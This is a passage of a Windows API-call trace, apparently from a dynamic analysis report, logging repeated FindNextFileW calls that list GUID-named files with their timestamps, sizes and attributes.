ftLastWriteTime.dwLowDateTime=0x442528d2, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{7C4BA71F-A1A6-490C-8B5D-04F319E94F47}", cAlternateFileName="{7C4BA~1")) returned 1 [0180.268] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb511781d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb511781d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x44847f9f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{7CE59AFD-BE4E-4C4F-9D9C-1BFDA6ACEA49}", cAlternateFileName="{7CE59~1")) returned 1 [0180.268] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3806791c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3806791c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44847f9f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{7D365946-8370-4038-8364-1D85D2D69BF5}", cAlternateFileName="{7D365~1")) returned 1 [0180.268] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a9230c6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9a9230c6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44847f9f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{803254EC-E5AF-441F-BA9E-59FEA741AF56}", cAlternateFileName="{80325~1")) returned 1 [0180.268] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aa2e131, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9aa2e131, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44847f9f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{8062D437-AF97-40EE-8A69-2AE530BD9C47}", cAlternateFileName="{8062D~1")) returned 1 [0180.268] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bb77277, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9bb77277, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44847f9f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{8428D171-5820-4E58-8DDB-7ED13951D0DF}", cAlternateFileName="{8428D~1")) returned 1 [0180.268] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aaa084b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9aaa084b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44847f9f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{89401BAE-1680-4ACA-85C1-003BB13BCBCC}", cAlternateFileName="{89401~1")) returned 1 [0180.268] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aaa084b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9aaa084b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44847f9f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{8C4A08B7-5CDB-4669-9FDA-D68576361570}", cAlternateFileName="{8C4A0~1")) returned 1 [0180.269] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad02de6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9ad02de6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x449790fd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{8CBD0221-57D1-4FDF-9D21-5922534D0822}", cAlternateFileName="{8CBD0~1")) returned 1 [0180.269] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad29032, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9ad29032, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44847f9f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{8E1A4C76-0757-46CC-AC4A-23B132F1BB0B}", cAlternateFileName="{8E1A4~1")) returned 1 [0180.269] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38198bf3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x38198bf3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x449790fd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{8FEFF271-6986-41E3-9230-E590CBB9A05D}", cAlternateFileName="{8FEFF~1")) returned 1 [0180.269] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x381e50b0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381e50b0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x449790fd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{90D3E932-8AF8-49E8-98F5-070B13F94403}", cAlternateFileName="{90D3E~1")) returned 1 [0180.269] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ae0de76, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9ae0de76, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x449790fd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{9131B142-76D7-4452-8650-524C6F4D9D07}", cAlternateFileName="{9131B~1")) returned 1 [0180.269] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb513da85, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb513da85, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x44c651c8, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{92B80E70-6ED3-42E7-830D-EF665C1DCD71}", cAlternateFileName="{92B80~1")) returned 1 [0180.269] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9927cac9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9927cac9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c63e56, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{9485C3DE-E1A0-4074-8C1B-4DC45764656C}", cAlternateFileName="{9485C~1")) returned 1 [0180.269] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38231567, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x38231567, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44c6174b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{983FD517-E332-4EC3-912D-37488A0D4CAD}", cAlternateFileName="{983FD~1")) returned 1 [0180.271] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bc0fbe3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9bc0fbe3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c63e56, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{9A290AB2-7828-46C3-A57F-0DEE793F6B93}", cAlternateFileName="{9A290~1")) returned 1 [0180.271] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ae0de76, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9ae0de76, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c651c8, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{9B5B2AF9-07C1-4A92-9B55-C36169549C19}", cAlternateFileName="{9B5B2~1")) returned 1 [0180.271] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bcce7a6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9bcce7a6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c651c8, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{9BF63628-DDA6-43D6-ADB6-C919606A53F7}", cAlternateFileName="{9BF63~1")) returned 1 [0180.271] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aea67dd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9aea67dd, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c63e56, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{A1640A19-DCA8-4534-B567-A06D68EED0AD}", cAlternateFileName="{A1640~1")) returned 1 [0180.271] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af3f156, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9af3f156, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c651c8, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{A2138824-5150-42FB-95C2-6147FA08716C}", cAlternateFileName="{A2138~1")) returned 1 [0180.271] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38198bf3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x38198bf3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44c62adc, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{A28B03F6-F89D-49BF-9411-8F0574DE8769}", cAlternateFileName="{A28B0~1")) returned 1 [0180.271] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0bc8ee, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b0bc8ee, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c62adc, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{A2A05FC2-1616-40B7-B7C0-B4C45BF0FF9E}", cAlternateFileName="{A2A05~1")) returned 1 [0180.271] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afd7ae5, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9afd7ae5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c62adc, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{A2F2E6DE-DA49-42DF-BDCF-C458109D79CC}", cAlternateFileName="{A2F2E~1")) returned 1 [0180.271] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b108d9a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b108d9a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c6174b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{A3EC8C71-CFEE-485C-97C8-8CB142566DCC}", cAlternateFileName="{A3EC8~1")) returned 1 [0180.272] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a0a4a79, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9a0a4a79, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c6174b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{A41AF181-37C6-4951-830B-E343DFC21B27}", cAlternateFileName="{A41AF~1")) returned 1 [0180.272] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cc2a5ed, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9cc2a5ed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c603cb, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{A5B5274B-2050-4F1C-8323-BFC5145BAB10}", cAlternateFileName="{A5B52~1")) returned 1 [0180.272] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b12eff3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b12eff3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c66567, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{A60A84F5-D627-49A9-A1E6-F2C827E0FA7C}", cAlternateFileName="{A60A8~1")) returned 1 [0180.272] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x381e50b0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381e50b0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44fdc101, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{A75F28ED-CBC6-4878-A664-EDD6CA16BC9D}", cAlternateFileName="{A75F2~1")) returned 1 [0180.272] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7712f1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b7712f1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{A8C02D67-E326-46F5-BCFE-ED755438157B}", cAlternateFileName="{A8C02~1")) returned 1 [0180.272] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b5a769e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b5a769e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44fdc101, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{AC0F2DEC-6E17-4771-9780-2942696DCB74}", cAlternateFileName="{AC0F2~1")) returned 1 [0180.272] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b1edbb5, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b1edbb5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{AC7B9DE5-2BB7-4D1F-8D6B-195490D0C9EA}", cAlternateFileName="{AC7B9~1")) returned 1 [0180.272] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b68c4c9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b68c4c9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{AEA45D7D-8825-46DB-820C-29097A667BA7}", cAlternateFileName="{AEA45~1")) returned 1 [0180.272] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cc9cd0a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9cc9cd0a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44fdc101, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{B52F04DA-8153-47B9-A93E-AEAA5CA596FE}", cAlternateFileName="{B52F0~1")) returned 1 [0180.272] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c16d0b7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c16d0b7, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{B6A7DF63-99C2-4534-89CF-C0AFC23B90AD}", cAlternateFileName="{B6A7D~1")) returned 1 [0180.272] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c205a4c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c205a4c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{BCEB7AFA-8A96-4EE0-A2DF-1A462F84C0B8}", cAlternateFileName="{BCEB7~1")) returned 1 [0180.272] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cd356a6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9cd356a6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{C4D5AE10-76AF-425B-81AA-7AEED53BF3F7}", cAlternateFileName="{C4D5A~1")) returned 1 [0180.272] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c205a4c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c205a4c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{C4F78A21-2302-4CAA-90BC-87DB6FAE5D46}", cAlternateFileName="{C4F78~1")) returned 1 [0180.272] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c2c45dd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c2c45dd, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{C6A43E66-7B5A-4590-A7F3-A33D6F9781A8}", cAlternateFileName="{C6A43~1")) returned 1 [0180.274] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bc822f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9bc822f4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{C6D1DB9A-A97A-4235-A8B7-EDC02B3FA8CE}", cAlternateFileName="{C6D1D~1")) returned 1 [0180.274] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c67e0c0, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c67e0c0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{C9F8EE44-9323-44C4-9CC8-08B4A25945B1}", cAlternateFileName="{C9F8E~1")) returned 1 [0180.274] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cd356a6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9cd356a6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x453492ab, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{CB298749-48A1-4798-9A9A-8B43AB5322B0}", cAlternateFileName="{CB298~1")) returned 1 [0180.274] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b5f3b66, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b5f3b66, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{CBF5E617-6EF4-410E-8402-BDB7BBF74C0C}", cAlternateFileName="{CBF5E~1")) returned 1 [0180.274] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: 